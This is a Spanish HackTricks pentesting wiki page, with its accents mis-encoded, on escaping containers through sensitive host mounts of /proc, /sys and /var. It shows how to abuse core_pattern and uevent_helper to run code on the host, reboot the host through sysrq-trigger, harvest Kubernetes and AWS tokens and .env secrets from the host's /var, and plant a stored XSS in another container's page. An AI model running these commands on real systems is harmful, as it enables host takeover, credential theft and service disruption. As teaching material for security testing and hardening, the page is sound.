Sensitive Mounts
Reading time: 10 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
La exposici贸n de /proc
, /sys
y /var
sin un aislamiento adecuado de namespaces introduce riesgos de seguridad significativos, incluyendo la ampliaci贸n de la superficie de ataque y la divulgaci贸n de informaci贸n. Estos directorios contienen archivos sensibles que, si est谩n mal configurados o son accedidos por un usuario no autorizado, pueden llevar a la fuga de contenedores, modificaci贸n del host o proporcionar informaci贸n que ayude a ataques posteriores. Por ejemplo, montar incorrectamente -v /proc:/host/proc
puede eludir la protecci贸n de AppArmor debido a su naturaleza basada en rutas, dejando /host/proc
desprotegido.
Puedes encontrar m谩s detalles de cada posible vulnerabilidad en https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.
Vulnerabilidades de procfs
/proc/sys
Este directorio permite el acceso para modificar variables del kernel, generalmente a trav茅s de sysctl(2)
, y contiene varios subdirectorios de inter茅s:
/proc/sys/kernel/core_pattern
- Descrito en core(5).
- Permite definir un programa para ejecutar en la generaci贸n de archivos de n煤cleo con los primeros 128 bytes como argumentos. Esto puede llevar a la ejecuci贸n de c贸digo si el archivo comienza con un pipe
|
. - Ejemplo de prueba y explotaci贸n:
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Probar acceso de escritura
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Establecer controlador personalizado
sleep 5 && ./crash & # Activar controlador
/proc/sys/kernel/modprobe
- Detallado en proc(5).
- Contiene la ruta al cargador de m贸dulos del kernel, invocado para cargar m贸dulos del kernel.
- Ejemplo de verificaci贸n de acceso:
ls -l $(cat /proc/sys/kernel/modprobe) # Verificar acceso a modprobe
/proc/sys/vm/panic_on_oom
- Referenciado en proc(5).
- Una bandera global que controla si el kernel se bloquea o invoca al OOM killer cuando ocurre una condici贸n OOM.
/proc/sys/fs
- Seg煤n proc(5), contiene opciones e informaci贸n sobre el sistema de archivos.
- El acceso de escritura puede habilitar varios ataques de denegaci贸n de servicio contra el host.
/proc/sys/fs/binfmt_misc
- Permite registrar int茅rpretes para formatos binarios no nativos basados en su n煤mero m谩gico.
- Puede llevar a la escalada de privilegios o acceso a shell root si
/proc/sys/fs/binfmt_misc/register
es escribible. - Exploit relevante y explicaci贸n:
- Poor man's rootkit via binfmt_misc
- Tutorial en profundidad: Video link
Otros en /proc
/proc/config.gz
- Puede revelar la configuraci贸n del kernel si
CONFIG_IKCONFIG_PROC
est谩 habilitado. - 脷til para los atacantes para identificar vulnerabilidades en el kernel en ejecuci贸n.
/proc/sysrq-trigger
- Permite invocar comandos Sysrq, potencialmente causando reinicios inmediatos del sistema u otras acciones cr铆ticas.
- Ejemplo de reinicio del host:
echo b > /proc/sysrq-trigger # Reinicia el host
/proc/kmsg
- Expone mensajes del b煤fer de anillo del kernel.
- Puede ayudar en exploits del kernel, fugas de direcciones y proporcionar informaci贸n sensible del sistema.
/proc/kallsyms
- Lista s铆mbolos exportados del kernel y sus direcciones.
- Esencial para el desarrollo de exploits del kernel, especialmente para superar KASLR.
- La informaci贸n de direcci贸n est谩 restringida con
kptr_restrict
configurado en1
o2
. - Detalles en proc(5).
/proc/[pid]/mem
- Interfaz con el dispositivo de memoria del kernel
/dev/mem
. - Hist贸ricamente vulnerable a ataques de escalada de privilegios.
- M谩s sobre proc(5).
/proc/kcore
- Representa la memoria f铆sica del sistema en formato ELF core.
- La lectura puede filtrar el contenido de la memoria del sistema host y de otros contenedores.
- El gran tama帽o del archivo puede llevar a problemas de lectura o fallos de software.
- Uso detallado en Dumping /proc/kcore in 2019.
/proc/kmem
- Interfaz alternativa para
/dev/kmem
, representando la memoria virtual del kernel. - Permite lectura y escritura, por lo tanto, modificaci贸n directa de la memoria del kernel.
/proc/mem
- Interfaz alternativa para
/dev/mem
, representando la memoria f铆sica. - Permite lectura y escritura, la modificaci贸n de toda la memoria requiere resolver direcciones virtuales a f铆sicas.
/proc/sched_debug
- Devuelve informaci贸n de programaci贸n de procesos, eludiendo las protecciones del namespace PID.
- Expone nombres de procesos, IDs e identificadores de cgroup.
/proc/[pid]/mountinfo
- Proporciona informaci贸n sobre puntos de montaje en el namespace de montaje del proceso.
- Expone la ubicaci贸n del
rootfs
o imagen del contenedor.
Vulnerabilidades de /sys
/sys/kernel/uevent_helper
- Usado para manejar
uevents
de dispositivos del kernel. - Escribir en
/sys/kernel/uevent_helper
puede ejecutar scripts arbitrarios al activarseuevent
. - Ejemplo de explotaci贸n: %%%bash
Crea una carga 煤til
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
Encuentra la ruta del host desde el montaje de OverlayFS para el contenedor
hostpath=$(sed -n 's/.\perdir=([^,]_).*/\1/p' /etc/mtab)
Establece uevent_helper en el ayudante malicioso
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
Activa un uevent
echo change > /sys/class/mem/null/uevent
Lee la salida
cat /output %%%
/sys/class/thermal
- Controla configuraciones de temperatura, potencialmente causando ataques DoS o da帽os f铆sicos.
/sys/kernel/vmcoreinfo
- Filtra direcciones del kernel, comprometiendo potencialmente KASLR.
/sys/kernel/security
- Alberga la interfaz
securityfs
, permitiendo la configuraci贸n de M贸dulos de Seguridad de Linux como AppArmor. - El acceso podr铆a permitir a un contenedor deshabilitar su sistema MAC.
/sys/firmware/efi/vars
y /sys/firmware/efi/efivars
- Expone interfaces para interactuar con variables EFI en NVRAM.
- La mala configuraci贸n o explotaci贸n puede llevar a laptops bloqueadas o m谩quinas host que no se pueden iniciar.
/sys/kernel/debug
debugfs
ofrece una interfaz de depuraci贸n "sin reglas" al kernel.- Historial de problemas de seguridad debido a su naturaleza sin restricciones.
Vulnerabilidades de /var
La carpeta /var del host contiene sockets de tiempo de ejecuci贸n de contenedores y los sistemas de archivos de los contenedores. Si esta carpeta se monta dentro de un contenedor, ese contenedor obtendr谩 acceso de lectura y escritura a los sistemas de archivos de otros contenedores con privilegios de root. Esto puede ser abusado para pivotar entre contenedores, causar una denegaci贸n de servicio o crear puertas traseras en otros contenedores y aplicaciones que se ejecutan en ellos.
Kubernetes
Si un contenedor como este se despliega con Kubernetes:
apiVersion: v1
kind: Pod
metadata:
name: pod-mounts-var
labels:
app: pentest
spec:
containers:
- name: pod-mounts-var-folder
image: alpine
volumeMounts:
- mountPath: /host-var
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /var
Dentro del contenedor pod-mounts-var-folder:
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh
/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
JWT_SECRET=85d<SNIP>a0
REFRESH_TOKEN_SECRET=14<SNIP>ea
/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html
El XSS se logr贸:
Tenga en cuenta que el contenedor NO requiere un reinicio ni nada. Cualquier cambio realizado a trav茅s de la carpeta montada /var se aplicar谩 instant谩neamente.
Tambi茅n puede reemplazar archivos de configuraci贸n, binarios, servicios, archivos de aplicaci贸n y perfiles de shell para lograr RCE autom谩tico (o semi-autom谩tico).
Acceso a credenciales de la nube
El contenedor puede leer tokens de serviceaccount de K8s o tokens de webidentity de AWS, lo que permite al contenedor obtener acceso no autorizado a K8s o a la nube:
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
<SNIP>
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
Docker
La explotaci贸n en Docker (o en implementaciones de Docker Compose) es exactamente la misma, excepto que generalmente los sistemas de archivos de los otros contenedores est谩n disponibles bajo una ruta base diferente:
$ docker info | grep -i 'docker root\|storage driver'
Storage Driver: overlay2
Docker Root Dir: /var/lib/docker
Los sistemas de archivos est谩n bajo /var/lib/docker/overlay2/
:
$ sudo ls -la /var/lib/docker/overlay2
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
<SNIP>
Nota
Las rutas reales pueden diferir en diferentes configuraciones, por lo que tu mejor opci贸n es usar el comando find para localizar los sistemas de archivos de otros contenedores y los tokens de identidad SA / web.
Referencias
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts
- Understanding and Hardening Linux Containers
- Abusing Privileged and Unprivileged Linux Containers
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.